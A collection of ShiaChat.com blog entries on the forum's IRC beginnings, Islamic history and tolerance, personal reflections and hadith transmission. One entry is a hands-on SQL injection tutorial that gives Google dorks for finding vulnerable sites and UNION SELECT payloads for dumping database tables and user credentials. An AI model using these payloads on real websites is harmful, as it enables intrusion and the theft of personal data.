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    The Story of ShiaChat.com - The IRC (#Shia) Days!

    By Ali

    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives] Part 1 - The IRC (#Shia) Days! Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all.  In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress. Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today). For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old. In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name. The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way. A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com. [More to follow, Part 2..] So who here is still around from the good old #Shia IRC days?      
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    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives]

    Part 1 - The IRC (#Shia) Days!

    Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all. 

    In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress.

    Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today).

    For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old.

    In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name.

    The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way.

    A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com.

    [More to follow, Part 2..]

    So who here is still around from the good old #Shia IRC days?

     

     

     

  1. بسم الله الرحمن الرحيم

               

                Not only is Islam the second-largest religion in the world, but it is the world’s fastest growing religion. With globalization and the influx of Muslim immigration to the West, many people are reluctantly meeting Muslims for the first time. Fear of the unknown is common, but that fear is constantly perpetuated by images of violence in the Muslim world. As a visible minority with little political leverage, the Muslim community is an easy target for xenophobes, warmongers, and nationalists. The Muslim world is the needed bogeyman for the military-industrial complex, private security companies, and isolationist politicians to thrive. Rather than trying to understand the complex imperial and economic variables that cause violence in the Muslim world, it is both simpler and more cunning to resort to generalized arguments about Islam. This view, however, overlooks the many scientific and philosophical contributions Muslims have made to Western civilization. More importantly, it distorts the reality of the Muslim civilization’s mostly-tolerant history. The centuries-old narrative that Islam was “spread by the sword” is still popular today, and it causes Muslims living in the West to be looked at as a suspicious Trojan horse waiting to Islamize the world. It is therefore necessary for us to deconstruct this worldview. This paper will briefly explore the rise and expansion of Islam, and demonstrate that tolerance and plurality were founding principles of Islamic ethics.

                Since the early days of the Prophet Muhammad’s ministry, Islam’s relationship with non-Muslim communities has been notable. Shortly after the Muslim migration to Medina (then known as Yathrib) in 622 CE, the Prophet drafted the Constitution of Medina. This charter put an end to tribal infighting in Medina, created a new judicial system, guaranteed the mutual protection of Muslims and non-Muslims, and established a new “Community of Believers (mu’mineen)”. (Gil, 2004, pp. 21) This community would include the Jewish tribes of Medina, while still recognizing their distinct identity and laws. Although Bernard Lewis claims that the Constitution of Medina was a unilateral proclamation by Muhammad, (Lewis, 1993, pp. 22) Muslim sources generally referred to it as a pact between the Muslims and the Jews following the two pledges at `Aqaba. Furthermore, Wellhausen, a German orientalist, regarded this charter to be a multilateral agreement negotiated between all of the involved groups. (Gil, 2004, pp. 22)

                The Prophet Muhammad also ratified writs of protection to other communities. The Ashtiname of Muhammad, which was written by `Ali b. Abi Talib upon the commission of Muhammad, granted privileges to the Christian monks of St. Catherine’s Monastery in Egypt. (Ratliff, 2012, pp. 63) The document guarantees that Christians are not to be overtaxed, plundered, disturbed, or coerced into marriages. (Morrow, 2013) These covenants demonstrate that the Prophet pursued a peaceful and tolerant coexistence with other communities, and made his followers accountable to ethical principles of justice.            

    The Prophet Muhammad very plainly stressed the equality of all people, regardless of tribe, colour, class, or ethnicity. While rights differed among subgroups of society, the Islamic civilization held no concept of the natural subordination of individuals or groups. (Hamid, 1982, pp. 127) Conversion to Islam only required a simple declaration of faith, while becoming a member of the ancient Greek polity was only possible for Greek male property owners. (Hamid, 1982, pp. 127)  The egalitarianism of the Quranic message was attractive to many who sought social refuge from the caste system and other forms of subordination. (Eaton, 1992, pp. 117)

    The Caliphate’s medieval conquests, which occurred after the Prophet Muhammad, are the main source of agitation among those suspicious of Muslims. It should be noted that `Ali b. Abi Talib, who is considered the rightful successor to Muhammad by Shia Muslims, refrained from taking part in these conquests, despite being renowned as a great warrior. There should be no doubt that there were incidents that occurred during early expansion that are not in line with the teachings of the Prophet, especially during the ridda wars and the Battle of `Ulays. The Shia Imams consistently held the Caliphate accountable during mistrials and in moments of nepotism; and they struggled to establish social and economic justice in the Muslim world. But, the frame that the Islamic conquests were wholly or mostly negative is a Eurocentric view that does not account for other pieces of the puzzle.

                Many ancient texts document extensive Judeo-Christian support for the Muslim conquests of Byzantium and Persia. Jews in the Levant had expected a redeemer who would deliver them from the Roman occupiers. (Crone, 1977, pp. 3-6) The Romans had destroyed the Jerusalem Temple in 134 CE, outlawed Jews from living within ten miles of Jerusalem, disbanded the Jewish high court, taxed the Jews heavily, and persecuted them for siding with the Persians. This torment ignited a messianic fervour among medieval Jews, leading to a widespread anticipation of a saviour. One of the earliest non-Muslim references to the rise of Islam is the Doctrina Jacobi, a Greek Christian anti-Jewish polemical text written in 634 CE, just two years after the passing of Prophet Muhammad. The text describes “overjoyed” Jews celebrating the Muslim arrival in Byzantium. (Crone, 1977, pp. 3) Moreover, The Secrets of Simon ben Yohai, a Jewish apocalyptic text written between the seventh and eighth centuries CE, tells of the emergence of an Ishmaelite “prophet according to God’s will” who would save the Jewish people from their oppressors. (Crone, 1977, pp. 4-5)

    The Islamic conquest of the Levant would restore Jewish access to Jerusalem and establish a polity that would include Muslims, Christians, and Jews alike. The Pact of Umar II, a writ of protection extended by `Umar b. `Abd al-`Aziz in the seventh century, promised safety and the right to worship to Jews, Christians, and Zoroastrians in exchange for the payment of the poll tax (jizya). (Berger, 2006, pp. 88) While some orientalists have criticized the Pact’s prohibition on riding horses, Muslim clothing and building high structures, these stipulations may have been placed to prevent insurrections against Muslim garrisons, rather than to humiliate or subordinate non-Muslims.

                The Muslim treatment of non-Muslims was similarly commended by Near Eastern Christians. John bar Penkaye, an East Syriac Nestorian writer of the late seventh century, praised the Muslim overthrow of the Sassanid dynasty. In his Summary of World History, he writes, “We should not think of the advent [of the children of Hagar] as something ordinary, but as due to divine working. Before calling them, [God] had prepared them beforehand to hold Christians in honour, thus they also had a special commandment from God concerning our monastic station, that they should hold it in honour … God put victory in their hands.” (Pearse) This early Christian account documents the just conduct of Muslim rulers, likening it to divine intervention. Furthermore, after the Byzantines had seized control of Egypt and put the Coptic Patriarch Benjamin I of Alexandria into exile, the Muslim conquerors restored Benjamin I’s authority and brought order to the affairs of the Coptic Church.

    Many cultures were drawn to Islam’s magnetic social appeal. Indonesia, which is the country with the highest population of Muslims, encountered Arab merchants in the thirteenth century. Along with the arrival of Muslim commercialism, Islamic stories and symbols were introduced to the population through traditional wayang puppet shows. (Hamish, 2011, pp. 46-51) In the Indian subcontinent, Islam provided social mobility to lower castes, giving people equal rights and freeing them from total subservience to the Brahmans. The transformative power of Sufism was also attractive to many Hindus who sought ascetic, mystical brotherhoods. (Lapidus, 1988, pp. 363) Sufi and Shia saints continue to be revered by Hindu and Sikh poets in India.

    Although the Muslim empires had a tumultuous relationship with European Christians over the centuries, sizable Christian and Jewish communities with ancient origins continued to thrive in the Muslim world. Moorish and Ottoman confrontations with Christendom have propelled the misconception that Islam was spread by the sword. The fact is, however, that the conversion of the Near East to Islam occurred very gradually. By 800 CE, only 18% of Iraq’s population was Muslim. (Brown, 2016) Furthermore, Egypt, Spain, and the Levant did not attain a Muslim majority until the eleventh century. (Brown 2016) This means that the Muslims were a minority in the heartlands of their own civilization for hundreds of years. While poll taxes and other social pressures certainly promoted conversion to Islam, ancient churches, synagogues, temples, and other relics were maintained. Judeo-Christian populations even had rights to printing presses and European books in the Ottoman Empire – a privilege rarely granted to Muslims. (Brown, 2016) 14% of the Middle East remained Christian by 1910, with significant populations in Syria, Palestine and Egypt. (Brown, 2016)

    On the other hand, Christendom had a relatively poor record with minorities. Although Iberia was mostly Muslim in the fifteenth century, all Muslims were expelled or forced to convert to Christianity in 1526. (Brown, 2016) In 1609, 3-4% of Spain’s population consisted of Christian descendants of Muslims, who were also expelled under King Philip the Third. Anti-Jewish pogroms were also common in pre and post-Enlightenment European history. While there are many ancient Christian communities in the Muslim world, there are practically no ancient Muslim communities in the Christian world, despite Islam’s long history in Spain, Portugal, Sicily, and Eastern Europe.

                In recent decades, the Muslim world’s relationship with its non-Muslim minority communities has suffered. Colonialism, neo-imperialism, military dictatorships, and poor economies have sometimes caused the alienation and scapegoating of ethnic and religious minorities in the Muslim world. In June 2014, the so-called Islamic State of Iraq and the Levant (ISIL), which rose out of the destabilization of Iraq and Syria, routed Christians out of Mosul. This genocide marked the end of over a thousand years of continuous Muslim-Christian coexistence in the region. While ISIL’s actions are a black mark on modern Islamic history, ISIL’s main military and ideological opponents are other Muslims in the region and around the world. This paper demonstrates that normative Islam seeks unity under common ethical principles. It is vital for Muslims to revive an equitable, pluralistic and tolerant worldview, not just because diversity is strength, but because it is the ethos of our civilization.           

     

    Bibliography

    Berger, Julia Phillips., and Sue Parker. Gerson. Teaching Jewish History. Springfield, NJ: A.R.E. Pub., 2006. Print.

    Pearse, John Bar Penkaye, Summary of World History (Rish Melle) (2010). N.p., n.d. Web. 9 July 2016.

    Crone, Patricia, and Michael Cook. Hagarism: The Making of the Islamic World. Cambridge: Cambridge UP, 1977. Print.

    Http://www.youtube.com/channel/UC4L23Z_agh1qeV_odQfV6Vg. "Dr. Jonathan AC Brown - The Message of Peace Spread by the Sword - UMaine IAW 2016." YouTube. YouTube, 2016. Web. 9 July 2016.

    Eaton, Richard Maxwell. The Rise of Islam and the Bengal Frontier, 1204-1760. Berkeley: U of California, 1993. Print.

    Gil, Moshe, and David Strassler. Jews in Islamic Countries in the Middle Ages. Leiden: Brill, 2004. Print.

    Harnish, David D., and Anne K. Rasmussen. Divine Inspirations: Music and Islam in Indonesia. New York: Oxford UP, 2011. Print.

    Lapidus, Ira M. A History of Islamic Societies. Cambridge: Cambridge UP, 1988. Print

    Lewis, Bernard. The Arabs in History. Oxford: Oxford UP, 1993. Print.

    Morrow, John A. The Covenants of the Prophet Muhammad with the Christians of the World. N.p.: n.p., n.d. Print.

    Ratliff, Brandie, and Helen C. Evans. Byzantium and Islam: Age of Transition, 7th-9th Century. New York, NY: Metropolitan Museum of Art, 2012. Print.

    ʻInāyat, Ḥamīd. Modern Islamic Political Thought. Austin: U of Texas, 1982. Print.

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  2. hameedeh
    Latest Entry

    Doctors take an oath to their patients: "First, do no harm." Consider this statement: "Speak the truth, but not to punish." I am making it my goal to show kindness to others, and that includes what I say as well as what I do. Bismillah.

     May your days be sunny, your nights restful, and your heart satisfied with the blessings that Allah has given you. Think Positive. 

  3. I thought I should get this entry going today, although I'll need to add the substantive content later.

    The reason why the post is being made today is because it's the 100th birthday of I.M. Pei, the Chinese-American architect behind the pyramid in the middle of the Louvre museum in Paris. The pyramid was constructed in the late 1980s and at the time Pei faced intense criticism for his bold and controversial design. Since then the pyramid has become accepted and even admired.

    I suppose you can guess that this post is heading in the direction of considering great art, innovation and religions and their relationship with public opinion.

  4. WARNING: PERFORMING AN SQL INJECTION (indeed any form of hacking) WITHOUT PERMISSION OF THE PEOPLE WHO OWN THE THING YOU ARE TRYING TO HACK IS VERY ILLEGAL. IF CAUGHT, YOU WILL GO TO JAIL. DO NOT BE AN IDIOT. ITS VERY EASY TO BE CAUGHT IF YOU ARE BASIC LEVEL. THERE'S PLENTY OF SAFE (LEGAL) WAYS TO PRACTICE. 

    SQL injection is a form of hacking where you manipulate a standard search bar to steal data from a website. the best way to think about it is, imagine that when you search for something in a search bar, the website looks for results in a table in a database. an SQL injection is used to "steal" the information in that database. so for example lets say I wanted to search for the member @notme in shiachats search bar. her profile name might be held in a table that also lists her email address, personal info, address, credit card details, passwords etc. I could use a SQL injection to get the whole table of all members of SC and all their personal information. 

    Luckily, the security on SC is 10/10 and this is not possible. but there's far too many websites which do not take cyber security seriously, and keep all sensitive data in basically unprotected tables. 

    we will firstly look at the theory behind it, then do the old fashioned (manual) way so we can fully understand how everything works. hacking isn't just remembering some commands or pressing a few buttons, its more of an art- a way to think. its a way to solve puzzles. SQL injections are a perfect example of that. 

    an excellent discussion of what SQL is, and why this works:

    http://www.kalitutorials.net/2014/03/sql-injection-how-it-works.html 

    really take a few minutes to get your head around SQL. its not complicated, it doesn't take long, and by understanding the theory, everything to follow becomes 1000 times easier. 

    Doing it manually

    my notes are based on this guide:

    http://www.kalitutorials.net/2014/03/hacking-websites-using-sql-injection.html

    (1) GOOGLE DORKS

    a "google dork" is a way of using googles search facility to find websites that could be sensitive to SQL injection. 

    an example of a google dork is typing this into google:

    inurl:"products.php?prodID="

    if you type this in to google, it brings up a list of websites that have .php in the URL. this is what we are looking for. the other bits of the code are just used to narrow down the search a bit if you can guess what some of the headings of the columns in the table are. 

    a more complete list of Google Dorks can be seen here:

    http://1337mir.com/hacking/2013/10/google-dorks-sql-injection/ 

    no one is ever going to expect you to memorise these off by heart. what matters is you remember the structure of the command.

    inurl: tells google to look within the URL for some text you are about to type
    "<guess a name of the very first column>.php? look for a URL that includes this
    <something>=" what lies after the = is the code we will type to expose the vulnerabilities

    (2) NARROWING DOWN THE LIST TO FIND ACTUALLY VULNERABLE SITES

    this bit is pretty neat. basically lets say you find a website with the URL:

    www.TatbirBlades.com/products.php?prodID=25

    to find out if this website can be victim of a SQL injection or not, simply replace the "25" at the end with a single quote mark ', and see if the web page shows you some error like "Not found","Table","Database","Row","Column","Sql","MysqL" or anything related to a database. In some cases, there would be no error, but there would be some berserk/ unexpected behavior on the page, like a few components not showing up properly, etc.

    if you see something like that, you know that this website is a target:

    asterisk.PNG

     

    (3) FINDING OUT HOW MANY COLUMNS ARE IN THE TABLE YOU ARE ABOUT TO STEAL

    this is just trial and error. 

    go back to the URL above:

    www.TatbirBlades.com/products.php?prodID=25 

    and add a bit of code to the end:

    www.TatbirBlades.com/products.php?prodID=25+order+by+1

    keep changing the number by the end by increments of 1 till you get an error. the last number before the error is how many columns are on the table. 

    so if the final code you enter before an error is 

    www.TatbirBlades.com/products.php?prodID=25+order+by+15

    you know then, that there are 14 columns in total. 

    so for example if there are 10 increments so far and no error:

    columns.PNG

     

    but when you do the 12th column you get this error:

    success.PNG

    you know that there is no 12th column, so there must be 11 columns. 

    (4) FINDING OUT WHICH OF THESE COLUMNS ARE SENSITIVE TO ATTACK

    a vulnerable column is one that allows us to submit an SQL query into the SQL table, through the website URL. 

    lets say that our table have 4 columns. 

    we would enter this code

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4. sometimes you have to put a minus sign - instead of an equals sign = before the first +, so for example

    www.TatbirBlades.com/products.php?prodID-25+union+select+1,2,3,4 

    instead of 

    www.TatbirBlades.com/products.php?prodID=25+union+select+1,2,3,4

    the page will load properly, except a random number showing up somewhere. take a note of this. this is the vulnerable column. 

    lets say the number 2 pops up somewhere randomly on the page. we then know that column 2 is the vulnerable one. 

    lets use a real example. 

    Lets imagine we have the following result from typing one of the above two URLs:

    union.PNG

    the numbers 11, 7, 2 and 9 appear. 

    we then use the other code (not using the minus after the equals sign) and get this:

    origina.PNG

     

    we can see that the difference between the two, is the number 11. 

    this means that the 11th column is the vulnerable one. BOOM TOWN. 

    thats actually the hardest bit of an SQL injection done. 

    lets recap

    - we identified that the site www.tatbirBlades.com could be victim
    - we identified the size of the table
    - we identified which of the columns in the table are vulnerable

    next, we enter the last code we just used to identify the vulnerable column (i.e. the one that shows the vulnerable column number. in this case it is the one with the minus sign after the equals sign), with an extra bit on the end -  @@version

    So the code would look something like this:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,@@version

    this will tell us the version of SQL being used by the website. 

    when you enter the code, you will see something like this:

    @@.PNG

     

    The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we know the OS is Ubuntu.

    STEALING THE DATA

    we have all the info we need now. 

    In our query which we used to find vulnerable columns (i.e. www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11), we will replace the vulnerable column with table_name and add prefix +from+information_schema.tables. The final url will be

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,table_name+from+information_schema.tables

    can you see how the column number (in this case, 11) has been replaced?

    if we enter this URL, we might get something like the following:

    Capture.PNG

    this shows us that the table that column 11 is in, is called "Character_Sets". we dont want just 1 table though, we want the whole database!

    to get all the tables, we simply replace the table_name with group_concat(table_name) to get all tables

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(table_name)+from+information_schema.tables

    We now can see:

    Capture.PNG

    All the tables in the database!!!

    so lets say the list of tables is:


    CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS

    that "EVENTS" table looks pretty juicy to me. I want to steal that one. 

    to do this, first of all I convert the word "EVENTS" to hex code using any free online text to hex translator. the hex code for the word "Events" is:

    4556454e5453

    remember to always add 0x to the start of any hex code, so the full code is:

    0x4556454e5453

    got it? now all you need to do is enter the following URL:

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e5453

    can you see how logically we are building up the commands so far? 

    like I said, its not HARD. its just about knowing how to think, and knowing enough SQL to find out what you need to know. 

    if you have done the code correctly, then you should see a list of all the columns in the EVENTS table:

    Capture.PNG

    We will follow the same pattern as we did so far. We had replaced the vulnerable column (i.e. 11) with table_name first, and then column_name. Now we will replace it with the column we want to obtain data from. Lets assume we want the data from the first column in the above pic, ie. event_catalog. We will put the following URL-

    www.TatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,EVENT_CATALOG+from+information_schema.EVENTS 

    if you see nothing:

    failure.PNG

    that means that our query was fine (otherwise we would see an error message) but the table we just downloaded is empty. it happens all the time. 

    so we need to steal data from another, more useful table. 

    lets try CHARACTER_SETS and the first column CHARACTER_SET_NAME (we know the first column by repeating the steps above)

    by looking at the name CHARACTER_SETS, we can assume that it will just be a table of the different types of languages that data can be inputted in. luckily, as well as being an expert hacker, I am also a big fan of languages so am really keen to see what languages are used in this database. 

    I enter the following code, in the exact same format as before:

    www.tatbirBlades.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARACTER_SETS

    and get the following:

    success.PNG

     

    so I know what all the values are! 

    In a similar manner you can go through other tables and columns. It will be definitely more interesting to look through a table whose name sounds like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'.  I would show you how to organise results in a slightly better way and display multiple columns at once. This query will return you the data from 4 columns, separated by a colon (:) whose hex code is 0x3a.

    www.TatbirBlades.org/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,DEFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)+from+information_schema.CHARACTER_SETS

    Capture.PNG

    Look at all that lovely, lovely data!!!!

    this is literally the oldest, slowest, most manual way to sql inject. theres a much quicker way to do it, but with this version, you dont need any fancy shmancy software or operating system. you can do it right in your regular old internet browser. 

    get your head around the steps and structure of the SQL commands, next post will show how to automate like 90% of the process. 

  5. A placeholder for the second chapter, summarising my research findings into the decline of Shi'i Intellectual thought production, which will focus on:

    - how the 'chain/sanad' method contributed to this decline,  killed off any hope of academic revival ,and dumbed down the level of scientific research within the Religious seminaries. 

    - the foremost scholar to establish this method of eliciting religious rulings and verifying narrations  (knowingly or unknowingly) - S AbulQassim alKhoei, may God bless his soul,and the people who followed his method after him.

    I want to be absolutely clear that my research focuses entirely on the methodologies used by these different currents (Akhbaris/Usoolis etc), and not the individuals who became famous as a result of it. 

     

  6. So how’s this whole 21st century thing coming along? Yeah.

    With the passage of time, each new era is forced to carry a higher burden and inherit a larger legacy than the generation before. Time is a double edged sword. On one end, more time can expand the opportunity to build constructive relationships, goodwill, positive institutions, and human progress. Conversely, time can serve to widen the accumulation of baggage, knot tighter the machinations of deceit and derision, and aid in the solidification of deviant ideologies, perverse mythologies, and exploitative institutions. In this regard, time is an empty canvas waiting to be marked by any paintbrush, big or small, with whatever paint along the way. 

    Paint is the (im)moral force that gives purpose and relevancy to this big and blank amoral whiteboard known as time. Paint comes in many colors, and can create many designs. Some are beautiful, enhance the surrounding landscape, and work synergistically with other designs, creating a diverse, but single hearted masterpiece. Other paints give ugly imprints, ones that impose themselves unapologetically, have no concern for the holistic creative vision, and serve as an unwelcome blemish. For those who believe in the holy and natural, we know the righteous paints will never tarnish, while the awful ones will water down and fade in their own impurities. 

    So what’s the 21st century portrait looking like? If time is an ever increasing size canvas, yet more paint has been plastered era after era at a much higher proportion, is there anything left for us to put? Anything we can add, or are we simply overwhelmed handling what’s already been dried on? I think the latter is the case. This is our destiny and burden. Our mission will not be to make history, but rather detoxify and realign what’s been accumulated - the human, economic, social, political, environmental, ideological…and all the rest. To redirect towards a proper moral direction. To clean up the mess of our dead ancestors. To not give birth, but to raise what’s been born. 

    We are being helped by science and technology, growing at a faster pace than ever before. We are helped by a huge explosion in the information sector, ease of travel and communication, and a range of logistical conveniences. We can interpret these things as proof of human accomplishment, but more importantly I would humbly call it a gift from above - to help aid us with our mission, as if our creator knows what we need. Divine guidance and support!

    All of us were chosen and raised in a certain time period for a reason, only known to our creator. We shouldn’t let ourselves get wrapped up in self-importance or arrogance about this. Are we “better” or just “different” than those in other times? I don’t think we have the time to worry about such a question. 

    References to war are rife throughout history, and that’s the case here. Specifically, the concept of “total war”, where every resource down to the minute is involved in the effort. In today’s case, every capital resource - the community, personal, psychological, technological - are essential for our mission, and no individual is beyond the scope of relevance and suitability. We have no choice but to go “all in”, and nothing can be held back, if we want any chance of success of a dignified outcome. 

    So this affects me of course, because it instantly puts me on notice. What can I clean up? What micro changes can I contribute, throw in the pot, to help with the macro efforts? The degree of inward digging should hopefully correlate to outward action. I am proud of living in this era, because it gives me an incentive for spiritual and personal re-examination. 

    What do you guys think?

     

  7. Original full post: http://www.iqraonline.net/the-transfer-of-kufas-hadith-heritage-to-qom-history-of-imami-shii-theology-5/

    During the Imamate of Imam Baqir (s) and Sadiq (s), there was a lot of encouragement from the Imams to their students and companions to begin recording down traditions. As this shift from oral to a written tradition became a culture amongst them, there was naturally a large output of written works over the next century. Kufa being the hub for Shi’i activity naturally possessed the most written works at the time.

    As scholars from Qom would initially travel to Kufa to acquire traditions of the Imams from the various scholars and companions that resided there, the tables would eventually turn as Kufa’s scholarly circles began to diminish and its heritage began being transferred to Qom. Scholars who played a role in transferring this heritage to Qom include personalities such as Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed al-Ahwazi, Ahmad bin Muhammad bin ‘Isa al-Ash’ari, Ibrahim bin Hashim and others. To analyze this phenomenon in a little more detail, bibliographical works are utilized to see how books were being moved around from one place to another.[1]

    Muhammad bin Khalid al-Barqi and his son Ahmad bin Muhammad al-Barqi are two other individuals who played a role in this transfer. Most of their teachers appear to be from Kufa, whereas their students appear to be from Qom. Both father and son also seem to have traveled to Kufa like Ahmad bin Muhammad al-Ash’ari and tooks narrations from there and then returned back to Qom to transmit them. Muhammad bin Khalid al-Barqi seems to be the earliest person to have brought over some of the Kufan hadith heritage to Qom. However, he does not seem to have very cautious in who he would take narrations from and was accused of even narrating from weak narrators.[2] There are also hardly any traditions that he narrates from reliable scholars such as Hasan bin Mahbub or Ibn Abi ‘Umayr. This eventually even leads to Ahmad bin Muhammad al-Ash’ari (the next scholar) exiling Muhammad al-Barqi out of Qom.

    Ahmad bin Muhammad bin ‘Isa al-Ash’ari who was one of the greatest scholars of Qom during his time, played a great role in bringing over the Kufan heritage by traveling to Kufa himself. Some of the works that he was able to bring back to Qom with himself were the book of ‘Ala bin Zarin, Aban bin ‘Uthman al-Ahmar, Ahmad bin Muhammad bin Abi Nasr al-Bazanti, Hasan bin Mahbub al-Kufi, Hasan bin ‘Ali bin Fadhdhal, Safwan bin Yahya al-Bajali, ‘Abdul Rahman bin Abi Najran, ‘Ali bin Hadid al-Mada’ini, Ibn Abi ‘Umayr, Muhammad bin Ismail bin Bazi’, and Muhammad bin Sinan Zahiri.

    What is of interest here is that the books Ahmad was bringing with him were those that were famous, well-known and reliable works within Shi’i scholarly circles. This indicates that Ahmad was very cautious of the narrations he accepted and transmitted, and we see this translating into him exiling many narrators from Qom (like the aforementioned al-Barqi) who he found to be narrating from weak narrators.

